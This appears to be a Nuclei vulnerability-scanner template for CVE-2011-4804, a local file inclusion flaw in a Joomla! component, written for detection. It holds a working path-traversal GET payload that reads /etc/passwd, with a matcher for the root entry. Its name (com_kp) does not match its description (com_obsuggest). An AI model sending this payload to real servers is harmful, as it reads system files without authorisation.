id: CVE-2011-4804
info:
name: Joomla! Component com_kp - 'Controller' Local File Inclusion
author: daffainfo
severity: high
description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
reference:
- https://www.exploit-db.com/exploits/36598
- http://web.archive.org/web/20140802122115/http://secunia.com/advisories/46844/
- http://web.archive.org/web/20210121214308/https://www.securityfocus.com/bid/48944/
- https://nvd.nist.gov/vuln/detail/CVE-2011-4804
remediation: Upgrade to a supported version.
classification:
cve-id: CVE-2011-4804
tags: lfi,edb,cve,cve2011,joomla
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# Enhanced by mp on 2022/02/18
